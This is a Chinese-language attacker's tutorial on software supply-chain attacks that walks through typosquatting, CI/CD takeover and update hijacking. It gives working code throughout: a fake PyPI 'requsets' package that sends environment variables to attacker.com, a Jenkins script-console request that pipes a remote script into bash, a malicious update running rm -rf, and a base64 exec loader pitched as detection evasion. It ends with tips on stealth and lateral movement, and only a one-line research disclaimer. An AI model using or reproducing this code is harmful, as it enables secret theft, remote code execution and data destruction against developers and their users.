一、渗入供应链:从模块到全局

现代软件开发几乎都依赖开源组件和第三方库,这种模式虽然加速了开发进程,却也为攻击者提供了突破点。供应链攻击的本质,就是在开发、构建或分发的某个环节植入恶意代码,从而在目标软件运行时接管控制权。攻击者无需直接渗入目标企业的基础设施,只需在它信任的某个链条环节中下手。而一旦成功,影响范围可能是全局性的。
以常见的 NPM 和 PyPI 开源生态为例:开发者在构建应用时通常直接依赖来自这些仓库的包。如果攻击者控制了一个被广泛使用的库,便可将恶意代码分发至全球范围内的应用和用户中。
在这部分中,我们将探讨供应链攻击的常见切入点,包括:
- 第三方库的污染
- 持续集成/持续交付(CI/CD)系统的劫持
- 软件更新机制的篡改
接下来,我们将从技术层面分析如何针对这些环节进行攻击与渗透。
---
二、利用开源漏洞:从小模块到全球扩散
开源库的最大问题在于,它们的“信任链”是无限延伸的。例如,一个项目可能依赖 A 库,而 A 库又依赖 B 和 C 库,最终形成了一个复杂的依赖树。如果攻击者能控制其中的某一环节,就可能将恶意代码注入整个生态。
以 NPM 生态为例,以下是一次典型的攻击思路:
- 目标分析:选择一款拥有大量下载量、或被高价值目标频繁使用的库;
- 接管或伪造:通过多种方法接管库的控制权,包括社工攻击库维护者、回收过期域名,或利用名称混淆(如“typosquatting”)发布恶意替代版本;
- 代码注入:在库中植入看似无害但实际隐蔽的恶意代码;
- 扩散传播:等待受害者更新依赖或安装库时触发恶意逻辑。

实战:利用 PyPI 平台做“Typosquatting”
这里我们以 PyPI 平台为例,模拟一个简单的 Typosquatting 攻击。Typosquatting 的核心是利用用户的输入错误,例如将 requests 错误地拼写为 requsets。攻击者可以提前注册该拼写错误的名称并上传一个伪造的包。
攻击流程:
- 注册伪造包
首先,我们需要在 PyPI 上注册一个与目标库名称相似的包。
<pre><code class="language-bash"># 创建一个伪造包的目录结构 mkdir fake_package cd fake_package mkdir src
初始化 setup.py 文件
cat <<EOF > setup.py from setuptools import setup, find_packages
setup( name="requsets", # 注意,这个是拼写错误的“requests” version="0.1.0", packages=find_packages(), description="Fake requests library", install_requires=[], # 可以伪装成一个无依赖包 ) EOF</code></pre>
- 注入恶意代码
在伪造包的逻辑代码中注入恶意功能,例如窃取用户的环境变量(可能包含敏感信息如 API 密钥)。
<pre><code class="language-python"># 创建 init 文件 mkdir src/requsets cat <<EOF > src/requsets/__init__.py import os import requests
窃取环境变量
stolen_data = os.environ
将数据发送到攻击者的服务器
requests.post("http://attacker.com", json=stolen_data) EOF</code></pre>
- 上传到 PyPI
使用 twine 工具将伪造包上传到 PyPI。
<pre><code class="language-bash"># 构建并上传包 python3 setup.py sdist pip install twine twine upload dist/*</code></pre>
- 等待目标中招
攻击者只需等待目标开发者误安装requsets包。恶意代码将在目标环境中执行,窃取信息并发送到攻击者的控制服务器。
---
三、持续集成系统:攻陷 CI/CD 流水线
CI/CD 系统是现代软件开发的核心,负责代码的自动化构建、测试和部署。大多数企业在流水线配置中使用敏感密钥和凭证,这就使得 CI/CD 成为了供应链攻击的重要目标。
假设某企业的 Jenkins 服务器存在未修复的漏洞或弱配置,攻击者可以利用以下方式接管流水线:
- 信息收集:扫描目标企业的 Jenkins 节点,检测版本号及插件情况;
- 漏洞利用:如果存在已知漏洞(如 RCE 漏洞 CVE-2021-21658),攻击者可直接获取 Jenkins 节点的远程 Shell;
- 后续操作:一旦接管 Jenkins,攻击者可修改构建脚本,将恶意代码注入目标软件。
Jenkins RCE 攻击演示
示例代码展示了如何利用 Jenkins 的脚本执行功能,直接在服务器上运行命令:
<pre><code class="language-python">import requests
Jenkins 配置
jenkins_url = "http://target-jenkins.com:8080/script" username = "admin" password = "admin"
恶意脚本
payload = """ def cmd = "curl http://attacker.com/malicious.sh | bash".execute() cmd.waitFor() """
提交脚本执行命令
response = requests.post( jenkins_url, auth=(username, password), data={"script": payload} )
if response.status_code == 200: print("Payload executed successfully!") else: print(f"Error: {response.status_code}")</code></pre>
核心点:
- 植入后门:通过 CI/CD 系统的自动化任务,将恶意代码添加进生产代码中;
- 横向移动:利用 Jenkins 节点上的凭据访问其他内部系统。
---
四、攻击软件更新机制:篡改自动更新

许多软件通过“自动更新”功能来分发新版本,如果更新服务器的安全性较低,攻击者可以利用中间人攻击或直接接管更新服务器,分发包含恶意功能的更新包。
以下是一个针对常见自动更新机制的攻击场景:
- 劫持 DNS:将更新服务器的域名解析到攻击者的 IP 地址;
- 伪造更新包:生成一个合法格式的更新文件,但嵌入恶意代码;
- 欺骗客户端:将伪造更新推送给受害者。
演示:伪造更新包
以一个简单的 Python 自动更新脚本为例,攻击者可以通过替换更新文件来接管客户端。
原始更新脚本(受害者端)
<pre><code class="language-python">import requests import os

从更新服务器获取最新版本包
url = "http://updates.example.com/update.zip" response = requests.get(url)
写入更新文件
with open("update.zip", "wb") as f: f.write(response.content)
解压并覆盖当前程序
os.system("unzip -o update.zip -d ./")</code></pre>
攻击者假冒更新服务器
伪造的 update.zip 包可以包含恶意代码。例如:
<pre><code class="language-bash"># 创建恶意更新包 echo 'rm -rf /important_data' > malicious.py zip update.zip malicious.py</code></pre>
将伪造的 update.zip 返回给客户端,替换原有的更新包。
---
五、免杀与隐蔽:如何逃过检测
供应链攻击的成败不仅取决于技术实现,更在于隐蔽性。以下是几种常见的免杀与伪装技巧:
- 代码混淆:通过 Base64 编码或动态加载代码降低可读性;
- 环境检测:检查运行环境是否为沙箱或调试模式,避开安全人员的分析;
- 流量隐藏:使用 HTTPS 或 DNS 隧道传输窃取的数据,避免被流量分析工具发现。
示例:动态加载恶意代码
<pre><code class="language-python">import base64
恶意代码(Base64 编码后)
payload = "aW1wb3J0IHN5cztwcmludCgibWFsaWNpb3VzIGNvZGUgZXhlY3V0ZWQiKQ=="
解码并执行
exec(base64.b64decode(payload).decode())</code></pre>
---
六、个人经验总结:攻击链的关键点
- 目标选择:供应链攻击的关键在于选择影响范围广的切入点。例如开源库、CI/CD 环节或更新服务器;
- 隐蔽性:攻击应尽量隐蔽,避免触发安全防护系统;
- 后续利用:供应链只是第一步,真正的价值在于实现横向移动或敏感数据窃取。
供应链攻击是一门艺术,攻击者既要有技术执行力,又要懂得隐藏自己。而作为防御者,理解这些攻击思路是唯一能应对的方式。
---
声明:本文仅限于授权的安全研究和测试,严禁用于非法用途。